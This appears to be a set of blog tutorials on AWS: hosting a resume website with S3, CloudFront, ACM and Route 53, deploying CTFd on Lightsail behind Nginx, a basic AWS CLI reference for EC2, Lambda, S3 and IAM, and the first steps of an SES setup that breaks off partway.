
1. Create a new S3 bucket: Log into your AWS console and navigate to the S3 service. Click "Create bucket", enter a unique name for your bucket, and select a region. The rest of the settings can be left at their defaults, then just click "Create bucket" at the very bottom.

Note: If you do plan on continuing all of these steps to setup a custom domain, it's best here to create a bucket with the exact same name as the domain you plan to use, i.e. Bucket name: resume-guide.simulationcyber.com.

2. Enable static website hosting: After creating the bucket, click on its name to open it. Under the "Properties" tab, at the very bottom you will find the "Static website hosting" section. Click "Edit", select "Enable", and then provide 'index.html' as the "Index document" name. You may also enter 'error.html' in the "Error document" field if you have a custom error page.

3. Modify bucket policy to allow public read access: To initially test your website we can add a resource-based policy which allows public access, however later on if you choose to configure a CloudFront distribution to serve your website you can adjust the policy to instead only allow access to CloudFront. Navigate to the "Permissions" tab and click "Edit" under Block public access (bucket settings), then unclick block public access and ackknowledge and save. Once that's done your object can be public, but aren't just yet. Next click "Bucket Policy". Enter the following policy, replacing 'your-bucket-name' with the name of your bucket:

{
    "Version":"2012-10-17",
    "Statement":[{
        "Sid":"PublicReadGetObject",
        "Effect":"Allow",
        "Principal": "*",
        "Action":["s3:GetObject"],
        "Resource":["arn:aws:s3:::your-bucket-name/*"
        ]
    }
    ]
}

4. Upload your website files: Now that your bucket is set up for hosting, you can upload your resume website files. Go to the "Objects" tab and click "Upload". You can drag and drop your files or click "Add files" to browse your file explorer. Click "Upload" to start the upload process. You can also upload using the AWS CLI, this blog post can guide you through setting up your CLI and recursively uploading and downloading S3 objects.

Note: If you want to be able to share your website, but don't necessarily want search engines indexing it, you can include a robots.txt file in the root directory of this folder with the following content inside:

User-agent: *
Disallow: /

5. Test your website: Once the upload is complete, you can test your website. Navigate back to the "Properties" > "Static website hosting" section and click on the URL in the "Endpoint" section. This should open your resume website in a new browser tab (many browsers will force you to acknowledge it's an HTTP website before viewing).

That's it! You have successfully set up an S3 bucket for hosting your static resume website. If you are okay with not having SSL encryption, or using a custom domain for your resume, that's it! You can use the URL provided in the S3 console to share your new website. If you'd like to set up those things, continue with this guide.

Setting up Route 53 Domain

Using TLS encryption for a custom domain in CloudFront requires you to own a custom domain, so we'll jump ahead a bit in the architecture straight to Route 53. Route 53 is a scalable and highly available domain name system (DNS) web service by AWS. Here, we will create a domain and link it with our CloudFront distribution.

Note: If you already own a Route 53 domain, you can optionally setup your resume website using a subdomain such as https://resume-guide.simulationcyber.com. In this case you can skip to step 3 and set up the appropriate records in a similar fashion by prepending your subdomain by entering it in the box in the top left in the record creation page.

1. Purchase a domain: In the Route 53 dashboard, click on "Registered Domains" and then "Register Domain". Enter the domain name you want to register and choose your domain extension (.com, .net, etc.). Follow the steps to purchase the domain. This process can take anywhere between a few minutes and a few hours, so it may be a good time to take a break and come back later.

Note: The annual fee for .com domains is $13, so you will pay this when initially registering your domain, and if you configure auto-renewal this charge will reoccur each year after purchase.

2. Create a hosted zone: After purchasing the domain, a hosted zone should automatically be created for it which you can find by clicking "Hosted Zones" on the left hand side of the Route 53 console.

3. Create record sets: Within your new hosted zone, you'll need to create record sets that point to your CloudFront distribution. However, we still need to go create the CloudFront Distribution! Continue with subsequent steps and once you have your CloudFront distrubtion configured, complete this final step in Route 53.

4. Click "Create record". If you're using a subdomain enter it under Record name in the top left, else you can leave this blank. Leave the record type as 'A' and then click the button for Alias and two drop downs will appear. Choose CloudFront distribution for the first one, and for the second one, your distrubtion name should appear which will auto-fill your CloudFront's distribution domain name. Once this is set just click "Create records"

That's it! Your domain is now set up with Route 53. Due to DNS propagation, it might take a few minutes for these changes to take effect globally, so if your website isn't immediately accessible, don't worry - just give it some time.

Configuring ACM for TLS Encryption

Amazon Certificate Manager (ACM) provides and manages certificates needed for secure network communication. In this section, we'll configure an ACM certificate for your domain. Note that CloudFront requires the certificate to be created in the 'us-east-1' (N. Virginia) region.

1. Request a certificate: Navigate to the ACM service in the AWS console, make sure you're in the 'us-east-1' region, then click "Request a certificate". Choose "Request a public certificate" and click "Next".

2. Add your domain names: In the domain name section, add the root domain and/or any subdomains you may be using in separate fields (for example, 'simulationcyber.com' and 'resume-guide.simulationcyber.com').

3. Choose a validation method: Choose DNS validation for easier setup and maintenance. Click "Review".

4. Review and request: Review your certificate details and click "Confirm and request".

6. Validate the certificate: Now you have to validate ownership of the domains you specified. Expand the domains under "Pending validation", click "Create record in Route 53" and then "Create". AWS will automatically create the DNS records necessary for validation. Oddly, I find this step to be a bit buggy with brand new ACM requests, make sure you keep repeating this until you get the green banner saying records have been created.

7. Wait for the validation process: The validation process may take a little while (up to several hours). Once AWS has validated your domain ownership, your certificate status will change from "Pending validation" to "Issued".

Great job! Now you have a secure certificate for your domain issued by ACM. In the next step, we will use this certificate with our CloudFront distribution to ensure secure connections to your resume website.

Setting up CloudFront Distribution

CloudFront is a content delivery network (CDN) provided by AWS, which can serve your content from edge locations closer to your users, improving load times and providing a smoother user experience. To set up CloudFront distribution for your S3-hosted website, follow these steps:

1. Create a new CloudFront Distribution: Navigate to the CloudFront service from your AWS Management Console and click "Create Distribution".

2. Specify your S3 bucket as the origin: On the next page, you will be asked to specify the origin settings. For the "Origin Domain Name", you will see a list of your S3 buckets. Select the bucket where you are hosting your resume website. Leave the "Origin ID" as it auto-fills.

3. Setup Origin Access Control: In the section "Origin access" select "Origin access control settings (recommended)." Then, next to the new drop down click "Create control setting," leave everything as default and click "Create." Then click on the drop down and make sure your new control setting is selected.

Note: Once the CloudFront is created you will need to take the policy statement CloudFront creates and modify the bucket policy on the S3 bucket to use this newly generated policy for CloudFront.

5. Configure distribution settings: Scroll down to the "Default Cache Behavior Settings". Make sure that "Redirect HTTP to HTTPS" is selected to ensure secure connections to your site. You can leave the rest of the settings at their defaults in this section.

6. Set up the custom domain and SSL certificate: Under the section just labeled "Settings" at the very end, I recommend adjusting the price class to the option that makes the most sense for you. Then, add your custome domain into the box under Alternate domain name (CNAME). Finally, Choose the certificate that you created with ACM (make sure the certificate is in the 'us-east-1' region, as CloudFront only sees those).

8. Set the default root object: Also under "Settings", fill in "Default Root Object" with 'index.html.'

9. Review and create the distribution: Finally, review your settings and click "Create Distribution". It might take a while for your distribution to be deployed.

10. Update S3 Bucket Policy: Once you create the distribution a banner will appear at the top of the page with a button that says "Copy Policy." Click that and pop back over to your S3 bucket, inside of permissions, and edit the bucket policy and paste this over your old policy and save. Then edit the public access to reset it to block all public access as seen below:

11. Copy the Distribution Domain Name: Once the distribution is deployed, return to complete the final step in the section on Setting up Route 53 Domain.

That's it for setting up your CloudFront distribution! Now your site is accessible worldwide with lower latency and secured with SSL. Additionally, with OAI setup, direct access to your S3 bucket is now restricted providing an additional layer of security.

Testing Your Website

After all configurations, you should now be able to access your resume using the domain name you configured. Congratulations, you have successfully hosted your resume on AWS!

Conclusion

Great job on making it to the end! You've now successfully hosted your resume on AWS using a variety of services, such as S3 for storage, CloudFront for delivery, ACM for SSL encryption, and Route 53 for domain management.

Having a secure, fast-loading, and professional-looking resume website is an excellent way to stand out and showcase your skills and experiences. By hosting your website on AWS, you've also demonstrated your ability to utilize and combine multiple AWS services, a skill highly valued in many tech-based roles.

If you'd like to use this website to advertise your skills to possible employers you can create a QR code to put on your resume, business cards, etc.!

But this is just the start! There are many other AWS services that you can utilize to enhance your website further. In upcoming content, we'll explore how to use AWS Amplify to set up a CI/CD pipeline for your website. This will allow you to easily update your website and ensure that your changes are smoothly integrated and deployed.

We'll also take a look at how you can use an API Gateway and Lambda function to add more functionality to your website. For instance, you might want to add a contact form to your resume site, so recruiters can reach out to you directly from the page. By setting up a serverless backend with API Gateway and Lambda, you can easily make this happen.

Stay tuned for these exciting next steps in your AWS journey, and keep up the excellent work!

I hope you found this tutorial helpful. If you have any questions, feel free to reach out!

This guide details the process for setting up a Lightsail instance with a static IP in AWS, configuring CTFd inside of a docker container on the instance with Nginx acting as a reverse proxy, using AWS CloudFront to serve as a CDN for the website, and finally configuring a custom domain with SSL/TLS certificates to access your new CTF!

Prerequisites: An AWS account, and approximately $6-20 in monthly AWS costs, and a few hours of your time. Optional costs include approximately $10-20/year for a custom domain name

Table of Contents

Part 1: Set up a Lightsail Instance and a Static IP
Part 2: Configure CTFd on the Instance
Part 3: Set up a Lightsail CloudFront Distribution (optional)
Part 4: Configure the Firewall and Set Up a Reverse Proxy Using Nginx
Part 5: Configuring a Custom Domain Name (optional)
Part 6: Set up SSL/TLS Certificates on Host System (optional)
Part 7: Conclusion

Resources:
AWS Lightsail:  https://lightsail.aws.amazon.com
AWS Route53:    https://console.aws.amazon.com/route53
CTFd Github:    https://github.com/CTFd/CTFd
CTFd Docs:      https://docs.ctfd.io/docs

Part 1: Set up a Lightsail Instance and a Static IP

1. Navigate to AWS Lightsail at https://lightsail.aws.amazon.com
2. Click "Create Instance"
3. Click "OS Only" and select "Ubuntu 20.04 LTS"
4. Scroll down and select the hardware for your instance

5. Identify your instance with a unique name and click "Create-Instance"
6. While that boots, click on "Networking" within the Lightsail Console
7. Click "Create Static IP"
8. Select the instance you've just created to easily attach the IP, then name your static IP and click "Create"
9. Go back to instances and click on the name of your new instance, then go to the Networking tab and under IPv4 Firewall add a custom TCP rule for port 8000, leave the checkbox checked for duplicating the rule for IPv6 and click the green button to add the rule
10. By now, your instance should be booted so head back to instances again and click the >_ icon, you should be greeted by a command line console for your instance

Part 2: Configure CTFd on the Instance

1. Here we can more or less follow the instructions in the CTFd Docs at https://docs.ctfd.io/docs/deployment/installation, however, I had to add in a few to avoid some errors along the way
2. Run the following commands:

sudo apt-get update
sudo apt-get upgrade #(optional but recommended)
sudo apt-get install docker
sudo apt-get install docker-compose
sudo apt-get install nginx 
sudo apt-get install ufw 

sudo systemctl stop nginx

git clone https://github.com/CTFd/CTFd.git
cd CTFd

3. Inside the CTFd folder there's a file called docker-compose.yml, open that up with your favorite text editor and under services > environment: you're going to add a new environment variable called SECRET_KEY and give it a random string i.e. SECRET_KEY=Rd42RfGayKozvU2DBfsC
4. Still within the file, find the variable called WORKERS and change it from 1 to somewhere between about 4 and 10, the more users you expect, the higher it should be, but also more taxing on the system. Once it's added, save and exit the text editor. You're docker-compose.yml should look something like this:

version: '2'

services:
  ctfd:
    build: .
    user: root
    restart: always
    ports:
      - "8000:8000"
    environment:
      - SECRET_KEY=Rd42RfGayKozvU2DBfsC
      - UPLOAD_FOLDER=/var/uploads
      - DATABASE_URL=mysql+pymysql://ctfd:<password>@db/ctfd
      - REDIS_URL=redis://cache:6379
      - WORKERS=5
      - LOG_FOLDER=/var/log/CTFd
      - ACCESS_LOG=-
      - ERROR_LOG=-
      - REVERSE_PROXY=true
      - UPDATE_CHECK=false
    volumes:
      - .data/CTFd/logs:/var/log/CTFd
      - .data/CTFd/uploads:/var/uploads
      - .:/opt/CTFd:ro
    depends_on:
      - db
    networks:
        default:
        internal:

  db:
    image: mariadb:10.4.12
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=<set sql root password>
      - MYSQL_USER=ctfd
      - MYSQL_PASSWORD=<set ctfd sql user password>
      - MYSQL_DATABASE=ctfd
    volumes:
      - .data/mysql:/var/lib/mysql
    networks:
        internal:
    # This command is required to set important mariadb defaults
    command: [mysqld, --character-set-server=utf8mb4, --collation-server=utf8mb4_unicode_ci, --wait_timeout=28800, --log-warnings=0]

  cache:
    image: redis:4
    restart: always
    volumes:
    - .data/redis:/data
    networks:
        internal:

networks:
    default:
    internal:
        internal: true

6. Now, from within the CTFd folder that contains docker-compose.yml, run:

sudo docker-compose up 

6. You should now be able to connect to your new CTF for the first time! Navigate to http://<machine-ip>:8000 and walk through the steps on the webpage to setup your CTF structure

Part 3: Set up a Lightsail CloudFront Distribution (optional)

AWS CloudFront is a content delivery network (CDN), which is a system that can be used to cache static portions of webpages for faster service to clients around the world. CloudFront acts as a middle man between clients and our website so when someone reaches out CloudFront sends what they're asking for from cached content. If it doesn't have the content cached (such as with dynamic content) it reaches out and requests the information from our lightsail instance acting as a web server. This also adds a nice layer of security as clients are not directly accessing your instance, instead accessing CloudFront who pulls from your instance on their behalf.

1. On the AWS Lightsail console navigate to the "Networking" tab, please note this is not the same as the Networking tab within an instance, you should see buttons for Create static IP, Create DNS zone, etc..
2. Click on "Create Distribution"
3. Select your Lightsail instance as the origin
4. Under Caching behavior select the preset "Best for dynamic content"
5. Choose your distribution plan based on how much traffic you anticipate for your CTF, ensure your selection is within your budget, the option for 50Gb/month is currently free for the first year and $2.50/month thereafter
6. Name your distribution and click "Create"
7. The distribution Status will show "In Progress" for a while as it caches the website, in the meantime the next step is to configure an Nginx reverse proxy using your distribution default domain, take note of what it is by looking at the top right hand side of the management page

Part 4: Configure the Firewall and Set Up a Reverse Proxy Using Nginx

1. Jump back on your lightsail instance running CTFd and run the following commands to add some firewall rules, and then enable the firewall:

sudo ufw allow 'Nginx Full'
sudo ufw allow 'OpenSSH'

sudo ufw enable

2. You may have noticed that navigating to your machine IP on port 80 gives you the default Nginx page, here is where we configure Nginx as reverse proxy to point port 80 to the correct location
3. Navigate to /etc/nginx/sites-available and create a file using sudo in there for your CTF, i.e. sudo touch example-ctf
4. Use your favorite text editor along with sudo to open up the file and copy and paste the text below in there, please note, a few lines down you need to replace the variable for your cloudfront distro default name with your actual distributions name (without the https://), it should look something like d*******.cloudfront.net

limit_req_zone  $binary_remote_addr zone=mylimit:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
	server_name <CloudFront distro default domain>;
	limit_req zone=mylimit burst=15;
	limit_conn addr 10;
	limit_req_status 429;
	client_max_body_size 8M;
	location / {
    		proxy_pass http://localhost:8000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
  }
}

Part 5: Configuring a Custom Domain Name (optional)

1. Go back to the main AWS console (not Lightsail) and search for Route 53, once you get to the dashboard you should see some statistics on your assets and buttons for other functions in the service, on the left hand side find "Registered domains" and click it
2. In here, click "Register Domain"
3. Here is where you'll search for what domain's are available and pick one that you like (and is within your price range), once you find one click "Add to cart" and "Continue"
4. On this page you have to put in Registrant Contact information, at the bottom there's a Privacy Protection section, if you're putting in your personal information and not company contact information ensure "Enable" is checked, this obfuscates your personal data that is reported to ICANN to minimize exposure, for example, your email may appear on ICANN as something like owner-1232923@<your-domain>.whoisprivacyservice.org
5. Click Next, confirm your information, decide whether or not you want your domain to automatically renew (once a year)
6. Agree to the registrations agreement and complete your order

7. It takes a while for the domain registration to take so in the meantime head back to the lightsail console for some related tasks
8. Go to the management console for your Lightsail CloudFront Distribution and click on the "Custom domain" tab
9. Near the bottom click "+ Create Certificate"
10. Enter your domain name and click "Create"
11. That will show pending for a few seconds, then it will state "Validation in Progress," take note of the section near the bottom that shows information for a CNAME record, we're going to use that later to validate that you own the domain so that the certificate can be issued
12. Go back to Route 53 and check to see if your domain registration has completed, this process can take anywhere from a few minutes to several hours, so you may have to step away and come back after some time has passed
13. Welcome back! When you registered your domain AWS automatically created a hosted zone for it with 2 records, on the left hand side of Route 53 click "Hosted Zones" and then find your hosted zone for your new domain and click it
14. In here you should see the 2 pre-created records, we're going to create 2 more, one to validate your TLS/SSL certificate, and one to point your domain to your CloudFront distribution
15. Click "Create Record"
16. In the center change record type to CNAME, if you remember, the TLS/SSL certificates we started earlier had information for a CNAME record, that's what it's waiting on for validation
17. From the Lightsail management console find that CNAME information on your CloudFront distribution and copy the "Name" value, back in the Route 53 Create Record page paste it into the Record name box, make sure it doesn't repeat your domain at the end, it should be <_long string>.your-domain.com/net/org/whatever NOT <_long string>.your-domain.com.your-domain.com
18. Next copy the value from the Lightsail tab into the Value in Route 53 create record, this should be something like _<long string>.<another string>.acm-validations.aws.
19. Leave everything else default and click "Create Records"
20. Once again can take anywhere between a few minutes and several hours to finish validating the certificate, complete the next few steps and if you hit step 32 and it's still not complete, take a break and come back
21. In the mean time we're going to create one more record in your hosted zone
22. Copy your Lightsail CloudFront distributions default domain
23. In the route 53 hosted zone for your domain, click "Create Record" again
24. Leave the record name completely empty and on the right hand side of the page toggle the switch for "Alias"
25. Underneath that there's a dropdown for choose endpoint, click that and select "Alias to CloudFront distribution"
26. This part is a bit deceiving because it says "Choose distribution" but most likely your distro won't appear in the resources list, instead you're going to paste the default domain into that box, as a note here, make sure the https:// and trailing / both get removed, the domain should just be something like d*****.cloudfront.net
27. Click "Create records", leave all the other boxes and dropdowns empty or whatever was there by default
28. We have one last configuration to make inside of the Lightsail instance running CTFd so go back to the Lightsail console and hop into the command line for your instance
29. Use your favorite text editor and sudo privileges to jump into a file you created earlier that starts with /etc/nginx/sites-available/
30. Add your new custom domain name to the server_name variable, separate the two by just using a single space, i.e. server_name dsomething.cloudfront.net your-domain.com
31. Run sudo nginx -s reload then exit the console
32. Once the SSL/TLS certificate validation is complete in the Lightsail console there should be a switch for custom domains above that unlocks, click that switch to enable custom domains
33. This will lock the distribution for a few minutes and the Status at the top will reflect "In progress"
34. When the distribution changes back to Status: Enabled you're done! if you navigate to your-domain.com/org/net/whatever or https://your-domain.com/org/net/whatever you should be greeted with the front page of your new AWS hosted CTF!

Part 6: Set up SSL/TLS Certificates for CTFd/Nginx on Hosting System (optional)

1. You can use Let's Encrypt to add SSL/TLS certificates to your system running CTFd for free. Once Nginx is set up and serving your CTF on port 80, you can use the following commands to grab certs:

sudo apt-get install certbot python3-certbot-nginx
sudo certbot --nginx -d yourdomain.com

2. Follow the prompts given by certbot and when it completes you should be able to browse to your CTF over HTTPS.
3. Bonus: Use crontab -e and add the following line to enable automatic renewal: 0 12 * * * /usr/bin/certbot renew --quiet

Conclusion

CTFd is an incredible platform built out by Kevin Chung and his team, now that you've made it here and your AWS environment is set up to host your webpage, you can do almost all, if not all your administration from inside the website. You'll notice an icon at the top that looks like a wrench that's called "Admin Panel," click it and from there, you can easily add or edit challenges, users, etc.. as well as view statistics on challenges, solves (even failed attempts), you can see any user or teams score currently over the course of time. Even the possibilities when setting up challenges is extremely extensive. Read more about what you can do and how to do it on the CTF docs website at:  https://docs.ctfd.io/docs.

AWS has a command line interface tool which you can use to programmatically manage your entire AWS infrastructure. In some cases using the console is a simpler method because it more or less walks you through the process of configuring, creating, and managing your AWS resources. However, in other cases the command line tools can be more efficient, more powerful, or sometimes your only option, so it's important to know the basics of how to use it. I'll start here by walking through installing and configuring your AWS CLI, some basics on how to find commands, or understand usage of those commands, then provide some specific usage examples for several common AWS services including: EC2, Lambda, S3 and IAM.

Prerequisites: AWS Account with an IAM account or permission to create an IAM account. If you do not have an AWS account, create one here.

Table of Contents

Part 1: Install and Configure AWS CLI
Part 2: Basic Usage of AWS CLI
Part 3: EC2 Commands
Part 4: Lambda Commands
Part 5: S3 Commands
Part 6: IAM Commands

Part 1: Install and Configure AWS CLI

Start by going to this website and follow the instructions for your particular operating system (Linux, MacOS, or Windows). Here's a basic cheat sheet for simplicity:

• Linux:

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" #For Linux ARM replace <x86_64> with <aarch64>
unzip awscliv2.zip
sudo ./aws/install

• Windows:
  msiexec.exe /i https://awscli.amazonaws.com/AWSCLIV2.msi
• MacOS:

Throw computer out
Buy Linux or Windows PC
See above
If you MUST use MacOS here:
curl "https://awscli.amazonaws.com/AWSCLIV2.pkg" -o "AWSCLIV2.pkg"
sudo installer -pkg AWSCLIV2.pkg -target /

For some AWS commands the configuration steps may be unnecessary. For example, S3 buckets can be configured to allow access to the bucket owner (by default), everyone (public access), or authenticated users groups (anyone with an AWS account). This is not an exhaustive list of how S3 permissions can be configured, just some basics. This means that at this point the AWS CLI you've just installed can already be used to access buckets configured to give access to "Everyone". The screenshot below shows an example of what the ACL under the permissions tab might look like for a publicly accessible bucket.

For anything else that does require an account with appropriate permissions we'll configure AWS CLI to use those access credentials.

If you haven't already the first step is to use the console interface to either create a new IAM user, or use an existing one as long as you have permission to create access keys. Once you have an account you want to use click on it and go to the 'Security credentials' tab then click 'Create access key.' This will generate two strings for you, an Access key Id, and a Secret access key, save them temporarily but keep them close hold because if they get into the wrong hands then they can be used to wreak all kinds of havoc on your AWS account.

Back in the command line just type:

aws configure

You'll be prompted for 4 things, the Access Key Id, Secret Access Key, Default region name, and Default output format. The first two come from the IAM console where you just generated an access key. The default region should be set to wherever the largest portion of your assets are or you plan to put them, however even if you're using multiple regions you can just specify that in the commands you run, this just saves you some effort if you're working mostly in one. The last one is the output format of unstructured data that you might pull with your commands, I highly recommend json, but you  can also enter yaml, yaml-stream, text, or table. Here's an example of what your configuration could look like:

AWS Access Key ID [None]: AKIA**************
AWS Secret Access Key [None]: ************************************
Default region name [None]: us-east-1
Default output format [None]: json

Part 2: Basic Usage of AWS CLI

Like most well documented command line tools, you can actually just type in aws and get some basic information about how to use this command. The help pages are nested so you can basically just tack help onto the end of whatever you've built so far and good chance it'll be able to give you some relevent information. The basic format is:

aws help
aws <command> help
aws <command> <subcommand> help

The first one is helpful if you want to see options which can be used with any (or nearly any) command such as the --profile option to specify which credential profile you want to use, you can also specify --region for any asset or service which is not in your profile default region, and --output if the command you're running is better received in something other than your default output. aws help also includes an exhaustive list of services that are available to be controlled via the command line.

Part 3: EC2 Commands

EC2 is a core component of AWS services, this service is used to launch virtual machines with a variety of different hardware and software configurations. Once again, you can orient yourself initially to aws ec2 commands using aws ec2 help. To view the full documentation and more information on each command go here. Let's work through some basic usage of some common ec2 functions.

• Create a key pair, subcommand create-key-pair
  • Required argument:
    • --key-name <string>
  • Useful optional argument(s):
    • --key-type <string> (rsa or ed25519)
  • Ex: aws ec2 create-key-pair --key-name <your-key-name>
• Create security group, subcommand create-security-group
  • Required argument(s):
    • --description <string> (informational)
    • --group-name <string>
  • Useful optional argument(s):
    • --vpc-id <string>
  • Ex: aws ec2 create-security-group --group-name ExampleGroup --description "Example Security Group Description"
• Create instance, subcommand run-instances
  • Required argument(s):
    • --image-id <string> (ID of the AMI used to launch, should start with ami-)
    • --key-name <your-key-name> (technically not required but enables ssh access)
    • --instance-type <string> (use help command to see all types)
  • Useful optional argument(s):
    • --count <int> (defaults to 1)
    • --security-group-ids <single id or list>
    • --subnet-id <string>
  • Ex:
    • aws ec2 run-instances --image-id ami-00ae10124674e644d --count 1 --instance-type t2.micro --key-name ExampleKeyPair

• Stop instance, subcommand stop-instances
  • Required argument(s):
    • --instance-ids <value>
  • Useful optional argument(s):
    • --force / --no-force
    • --hibernate
  • Ex: aws ec2 stop-instances --instance-ids i-*************
• Start instance, subcommand start-instances
  • Required argument(s):
    • --instance-ids <value>
  • Ex: aws ec2 start-instances --instance-ids i-************
• List instances, subcommand describe-instances
  • Required argument(s): None
  • Useful optional argument(s):
    • --filter <value>
    • --instance-ids <value>
  • Ex: aws ec2 desribe-instances
• Terminate instances, subcommand terminate-instances
  • Required argument(s):
    • --instance-ids <value>
  • Ex: aws ec2 terminate-instances --instance-ids i-**********

Part 4: Lambda Commands

Lambda allows you to run code without having configured the underlying infrastructure to support it. Generally speaking lambda is meant for small(ish) snippets of code that run a specific task based on a variety of triggers. Use aws lambda help to see the help page for this subcommand, or go here to see the full documentation.

• Create function, subcommand create-function
  • Required argument(s):
    • --function-name <value>
    • --role <\value> (ARN of the functions IAM role)
  • Useful optional argument(s):
    • --runtime <\value> (required if deployment package is .zip, value should be the language and version, i.e. python3.9, nodejs14.x)
    • --code (supplied from S3 bucket, syntax: S3Bucket=string,S3Key=string,S3ObjectVersion=string,ImageUri=string)
    • --zip-file <\file-location>
    • --handler <\value> (function within your code used to run your lambda)
  • Ex: aws lambda create-function --function-name ExampleFunction --runtime python3.9 --zip-file /home/examplefunction.zip --handler lambda_handler --role arn:aws:iam:******:role/service-role/ExampleFunction-role-*****
• List functions, subcommand list-functions
  • Required argument(s): None
  • Ex: aws lambda list-functions
• Invoke function, subcommand invoke
  • Required argument(s):
    • --function-name <value>
  • Useful optional argument(s):
    • --payload
    • --invocation-type <value> (RequestResponse invokes synchronously, Event invokes asynchronously)
  • Ex: aws lambda invoke --function-name ExampleFunction --payload '{"key":"value"} response.json
• Delete function, subcommand delete-functions
  • Required argument(s):
    • --function-name <value>
  • Ex: aws lambda delete-function --function-name ExampleFunction
• Get function, subommand get-function
  • Similar to list-function but also returns a pre-signed URL which allows you to download the deployment package for 10 minutes
  • Required argument(s):
    • --function-name <value>
  • Ex: aws lambda get-function --function-name ExampleFunction

Part 5: S3 Commands

S3 buckets are the most basic storage solution offered by AWS. Buckets are the root folder, whose name must be globally unique because each AWS bucket automatically comes with a URL which can be used to access it via a web browser for anyone with appropriate permissions. This URL is https://bucket-name.s3.region.amazonaws.com where bucket-name and region are replaces as appropriate, and region is sometimes optional. Aditionally, you can append the name of any object or folder within this bucket to view the contents of either via the same method.

The aws s3 command line includes the following commands:

• cp (copy, syntax cp <source> <destination>)
• ls (list)
• mb (make bucket)
• mv (move file)
• presign (generate pre-signed URL for s3 object, default 1hr, max 7 days)
• rb (remove bucket, use --force to delete non-empty buckets)
• rm (delete object)
• sync (syncs directories)
• website (set the website config for a bucket)

Lets run through some specific examples:

• Copy
  • Copy (upload) local file to s3: aws s3 cp example.txt s3://bucket-name/example.txt
  • Copy s3 object to local system: aws s3 cp s3://bucket-name/file.txt ./
  • Recursively copy s3 objects to local system: aws s3 cp --recurse s3://bucket-name ./
  • Recursively copy s3 objects to local system without credentials configured (requires region): aws s3 cp --recursive --no-sign-request --region <region> s3://bucket-name ./
• List
  • List all my buckets: aws s3 ls
  • List root contents in specific s3 bucket: aws s3 ls s3://bucket-name
  • Recursively list all contents in specific s3 bucket: aws s3 ls --recursive s3://bucket-name
• Make
  • Make a bucket: aws s3 mb s3://new-bucket
  • Make bucket in specific region: aws s3 mb s3://new-bucket --region us-east-2
• Delete
  • Delete empty bucket: aws s3 rb s3://bucket-name
  • Delete non-empty bucket: aws s3 rb s3://bucket-name --force
  • Delete object: aws s3 rm s3://bucket-name/object-name.ext
  • Delete all objects in bucket/folder: aws s3 rm s3://bucket-name/folder --recurse
  • Delete objects except ones which match a filter (i.e. .txt files): `aws s3 rm s3://bucket-name --recursive --exclude "*.txt"
• Create pre-signed URLs
  • Create pre-signed URL for an object: aws s3 presign s3://bucket-name/object-name.ext
  • Create URL with max expiration time: aws s3 presign s3://bucket-name/object-name.ext --expires-in 604800

Part 6: IAM Commands

IAM is Identity and Access Management. As the name might suggest it's the service used to manage users, groups, roles, and policies which collectively control permissions in AWS. The significance of this design is the granularity by which you can control those permissions. For example, many services within AWS break down the possible actions into dozens or hundreds of categories. I could create a policy which gives a user or group access to complete all those actions on a particular resource (like an s3 bucket), however, I can also very specifically say that this user or group should have permission to maybe read and list objects in a specific folder of a specific s3 bucket (even specific objects within the bucket). When a user with those permissions navigates to the s3 console, or attempts to use the s3 command line, only those commands or actions will work, and not only will they not be able to touch other objects, they won't even be able to see them. The commands available for IAM within the AWS CLI are extensive and powerful, so I'll just focus on examples in a few categories which may be the most commonly used.

• Create
  • Create User: aws iam create-user --user-name ExampleUser
  • Create Group: aws iam create-group --group-name ExampleGroup
  • Create Role: aws iam create-role --role-name ExampleRole --assume-role-policy-document /home/assume-role-policy.json
  • Create Policy: aws iam create-policy --policy-name ExamplePolicy --policy-document /home/policy.json
  • Create Access Key for User: aws iam create-access-key --user-name ExampleUser
• Add/Attach/Remove
  • Add User to Group: aws iam add-user-to-group --user-name ExampleUser --group-name ExampleGroup
  • Attach Policy to User: aws iam attach-user-policy --user-name ExampleUser --policy-arn arn:aws:iam::*********:policy/ExamplePolicy
  • Attach Policy to Role: aws iam attach-role-policy --role-name ExampleRole --policy-arn arn:aws:iam::**********:policy/ExamplePolicy
  • Attach Policy to Group: aws iam attach-group-policy --group-name ExampleGroup --policy-arn arn:aws:iam::**********:policy/ExamplePolicy
• List/Get
  • List all users: aws iam list-users
  • Get Info on User: aws iam get-user --user-name ExampleUser
  • List all groups: aws iam list-groups
  • Get Info on Group: aws iam get-group --group-name ExampleGroup
  • List all roles: aws iam list-roles
  • Get Info on Role: aws iam get-role --role-name ExampleRole
  • List all policies: aws iam list-policies
  • Get Info on Policy: aws iam get-policy --policy-arn arn:aws:iam::**********/policy/ExamplePolicy
• Delete
  • Delete User: aws iam delete-user --user-name ExampleUser
  • Delete Group: aws iam delete-group --group-name ExampleGroup
  • Delete Role: aws iam delete-role --role-name ExampleRole
  • Delete Policy: aws iam delete-policy --policy-arn arn:aws:iam::**********:policy/ExamplePolicy
  • Delete Access Key: aws iam delete-access-key --access-key-id AKID**************** --user-name ExampleUser

Policies within AWS are what actually defines permissions for all entities. You can create a policy then attach it to a user, group, or role, then attach users to groups, etc.. You can even create in-line policies for users which don't exist outside of the config for that user specifically. Policies can be configured not only to allow or disallow access to any service, asset, action, or resource within AWS, but even allows other restrictions like ranges of times or dates, and access from specific IPs or regions. Each policy has the basic breakdown which includes Version, and one or more Statements which then include Effect, Action, Resource, and sometimes Condition. Here's a basic example of a policy which grants access to list objects in an s3 bucket for a period of one month:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": ["s3:ListBucket"],
            "Resource": ["arn:aws:s3:::bucket-name"],
            "Condition": {
                "DateGreaterThan": {"aws:CurrentTime": "2022-06-01T00:00:00Z"},
                "DateLessThan": {"aws:CurrentTime": "2022-06-30T23:59:59Z"}
            }
        }
    ]
}

Conclusion

If you've made it this far, you're ready to get starting learning how to effectively use the AWS Command Line Interface. Congratulations and good luck!

Pre-requisites: You must own a domain and have control of the DNS records

Table of Contents

Part 1: Set up SES Sending
Part 2: Set up SES Receiving
Part 3: Set up Lambda Function + SNS(optional)

Part 1: Set up SES Sending

1. Navigate to SES within the AWS console
2. From the main page of SES click Create Identity
3. Select Domain and enter your domain, i.e. simscyberops.com
4. Leave everything else default and click Create Identity

